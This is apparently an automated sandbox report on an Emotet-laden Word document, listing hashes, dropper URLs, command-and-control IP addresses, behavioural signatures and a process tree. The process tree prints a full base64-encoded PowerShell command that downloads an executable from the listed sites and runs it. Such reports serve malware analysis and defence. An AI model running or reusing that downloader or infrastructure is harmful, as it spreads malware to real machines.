Analysis
- max time kernel
136s - max time network
135s - platform
windows10_x64 - resource
win10 - submitted
04/09/2020, 05:32
Static task
static1
Behavioral task
behavioral1
Sample
FILE_40510159.doc
Resource
win7v200722
General
- Target FILE_40510159.doc
- Size 190KB
- Sample200904-fl3bk5wana
- SHA256 d9845d6cd1dc60f9101f99ccfe8ecd94e40035baa15949d08c31985d152695a4
- MD5 eede72ea04bd3b5addf09de76bf43925
- SHA1 922642d5d3d56d98d8150263ada041be20c88445
- SHA512 8afa4e638ae9907c32afedca2f46ab448f8d3080426d560c101119f5f5c515b79a9c155cf4a9629fad2cff57ac010e1848136fc56a4a333f5562e097b0e6535c
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://homokfuvo.com/files/QSNUeuP/
-
exe.dropper
http://gforcems.it/modules/B/
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exe.dropper
http://planodesaudetotal.com/erros/wUI/
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exe.dropper
http://rvad.com/img/K0YvsA/
-
exe.dropper
http://vendasdesaude.com/erros/zyHmix/
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exe.dropper
https://scenic-heap.de/_private/ZZHi/
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exe.dropper
https://elektro-grell.de/cgi-bin/o8Xj1y/
Extracted
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emotet
-
192.158.216.73:80
-
85.214.28.226:8080
-
142.44.137.67:443
-
162.241.242.173:8080
-
85.152.162.105:80
-
62.30.7.67:443
-
78.24.219.147:8080
-
74.120.55.163:80
-
169.239.182.217:8080
-
216.208.76.186:80
-
95.213.236.64:8080
-
200.114.213.233:8080
-
104.131.44.150:8080
-
70.121.172.89:80
-
75.139.38.211:80
-
185.94.252.104:443
-
97.82.79.83:80
-
103.86.49.11:8080
-
79.98.24.39:8080
-
83.169.36.251:8080
-
188.219.31.12:80
-
74.208.45.104:8080
-
137.59.187.107:8080
-
174.45.13.118:80
-
194.187.133.160:443
-
50.81.3.113:80
-
201.173.217.124:443
-
139.99.158.11:443
-
68.188.112.97:80
-
113.160.130.116:8443
-
173.62.217.22:443
-
139.130.242.43:80
-
190.160.53.126:80
-
137.119.36.33:80
-
209.141.54.221:8080
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
121.124.124.40:7080
-
203.153.216.189:7080
-
157.245.99.39:8080
-
85.105.205.77:8080
-
173.81.218.65:80
-
110.145.77.103:80
-
47.144.21.12:443
-
95.179.229.244:8080
-
187.161.206.24:80
-
46.105.131.79:8080
-
189.212.199.126:443
-
168.235.67.138:7080
-
24.137.76.62:80
-
85.66.181.138:80
-
200.41.121.90:80
-
5.39.91.110:7080
-
104.236.246.93:8080
-
172.91.208.86:80
-
99.224.14.125:80
-
37.139.21.175:8080
-
109.74.5.95:8080
-
1.221.254.82:80
-
61.19.246.238:443
-
5.196.74.210:8080
-
67.205.85.243:8080
-
79.137.83.50:443
-
94.200.114.161:80
-
70.180.43.7:80
-
190.55.181.54:443
-
47.146.117.214:80
-
89.205.113.80:80
-
37.187.72.193:8080
-
84.39.182.7:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
87.106.136.232:8080
-
153.232.188.106:80
-
37.70.8.161:80
-
112.185.64.233:80
-
87.106.139.101:8080
-
94.23.237.171:443
-
24.43.99.75:80
-
203.117.253.142:80
-
98.109.204.230:80
-
93.147.212.206:80
-
91.211.88.52:7080
-
139.59.60.244:8080
-
176.111.60.55:8080
-
180.92.239.110:8080
-
62.75.141.82:80
-
174.102.48.180:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2840 1604 powershell.exe 73 - Blacklisted process makes network request 1 IoCs
flow pid Process 15 2840 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2996 Uwxxu273.exe 1112 uxlibres.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\winrnr\uxlibres.exe Uwxxu273.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = d5d85c3e7c82d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3020 WINWORD.EXE 3020 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2840 powershell.exe 2840 powershell.exe 2840 powershell.exe 1112 uxlibres.exe 1112 uxlibres.exe 1112 uxlibres.exe 1112 uxlibres.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 504 svchost.exe Token: SeCreatePagefilePrivilege 504 svchost.exe Token: SeDebugPrivilege 2840 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 3020 WINWORD.EXE 2996 Uwxxu273.exe 2996 Uwxxu273.exe 1112 uxlibres.exe 1112 uxlibres.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2840 wrote to memory of 2996 2840 powershell.exe 79 PID 2840 wrote to memory of 2996 2840 powershell.exe 79 PID 2840 wrote to memory of 2996 2840 powershell.exe 79 PID 2996 wrote to memory of 1112 2996 Uwxxu273.exe 81 PID 2996 wrote to memory of 1112 2996 Uwxxu273.exe 81 PID 2996 wrote to memory of 1112 2996 Uwxxu273.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_40510159.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:504
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\SysWOW64\winrnr\uxlibres.exe"C:\Windows\SysWOW64\winrnr\uxlibres.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1112
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-